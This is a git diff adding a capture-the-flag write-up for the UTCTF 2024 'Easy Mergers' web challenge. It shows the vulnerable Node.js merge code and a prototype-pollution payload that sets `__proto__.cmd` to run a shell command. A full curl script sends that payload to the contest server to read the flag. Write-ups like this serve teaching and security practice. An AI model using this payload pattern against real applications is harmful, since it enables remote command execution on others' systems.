diff --git a/2024/web/easy-mergers-v0.1.md b/2024/web/easy-mergers-v0.1.md index b64b577..8221a7f 100644 --- a/2024/web/easy-mergers-v0.1.md +++ b/2024/web/easy-mergers-v0.1.md @@ -1,9 +1,92 @@ --- title: "Easy Mergers v0.1" -description: "task" +description: "Tired of getting your corporate mergers blocked by the FTC" points: 787 solves: 143 -author: nobody +author: xHyrOM --- -yeh' Easy Mergers v0.1.... it was hard lol +![easy mergers](https://raw.githubusercontent.com/GerlachSnezka/utctf/main/assets/2024-web-easymergers.png) + +For this assignment, we had the page and code for this site. On the site, we can add fields and then create a company or edit it (absorb it). + +![easy mergers web](https://raw.githubusercontent.com/GerlachSnezka/utctf/main/assets/2024-web-easymergers-web.png) + +We'll open dev tools to see what the requests look like. We notice a very interesting thing, namely that with `absorbCompany` the request returns a JSON containing `stderr` with the message `/bin/sh: 1: ./merger.sh: Permission denied\n`. This means that the script `merger.sh` is executed on the server. + +![easy mergers weird behaviour](https://raw.githubusercontent.com/GerlachSnezka/utctf/main/assets/2024-web-easymergers-weird-behaviour.png) + +Thanks to the fact that we have the source code, we can take a closer look at what's going on: +```js +function isObject(obj) { + return typeof obj === 'function' || typeof obj === 'object'; +} + +var secret = {} + +const { exec } = require('child_process'); + +process.on('message', function (m) { + let data = m.data; + let orig = m.orig; + for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) { + if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) { + for (const key in data.values[k]) { + orig[data.attributes[k]][key] = data.values[k][key]; + } + } else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) { + orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]); + } else { + orig[data.attributes[k]] = data.values[k]; + } + } + cmd = "./merger.sh"; + + if (secret.cmd != null) { + cmd = secret.cmd; + } + + var test = exec(cmd, (err, stdout, stderr) => { + retObj = {}; + retObj['merged'] = orig; + retObj['err'] = err; + retObj['stdout'] = stdout; + retObj['stderr'] = stderr; + process.send(retObj); + }); + console.log(test); +}); +``` + +Looking at it for the first time, we might not say there would be a bug since there is no way to replace `cmd`. However.... this is not true because of JS. In JS there is something called prototype pollution attack. For example, you can find more [here](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution) + +So we can exploit this attack and send a POST request with this body: +```json +{ + "attributes": ["__proto__"], + "values": [{ "cmd": "cat flag.txt" }] +} +``` + +The `flag.txt` probably exists, since it is also in our codebase. + +```sh +#!/bin/bash + +curl 'http://guppy.utctf.live:8725/api/absorbCompany/0' \ + -H 'Accept: */*' \ + -H 'Accept-Language: en-GB,en;q=0.9,sk-SK;q=0.8,sk;q=0.7,en-US;q=0.6' \ + -H 'Connection: keep-alive' \ + -H 'Content-Type: application/json' \ + -H 'Cookie: connect.sid=YOURSID' \ + -H 'Origin: http://guppy.utctf.live:8725' \ + -H 'Referer: http://guppy.utctf.live:8725/' \ + -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36' \ + --data-raw '{"attributes":["__proto__"],"values":[{"cmd": "cat flag.txt"}]}' \ + --insecure +``` + +And we get the flag in the stdout field: +``` +utflag{p0lluted_b4ckdoorz_and_m0r3} +``` \ No newline at end of file diff --git a/assets/2024-web-easymergers-web.png b/assets/2024-web-easymergers-web.png new file mode 100644 index 0000000..d619763 Binary files /dev/null and b/assets/2024-web-easymergers-web.png differ diff --git a/assets/2024-web-easymergers-weird-behaviour.png b/assets/2024-web-easymergers-weird-behaviour.png new file mode 100644 index 0000000..1caafd8 Binary files /dev/null and b/assets/2024-web-easymergers-weird-behaviour.png differ diff --git a/assets/2024-web-easymergers.png b/assets/2024-web-easymergers.png new file mode 100644 index 0000000..a5d2128 Binary files /dev/null and b/assets/2024-web-easymergers.png differ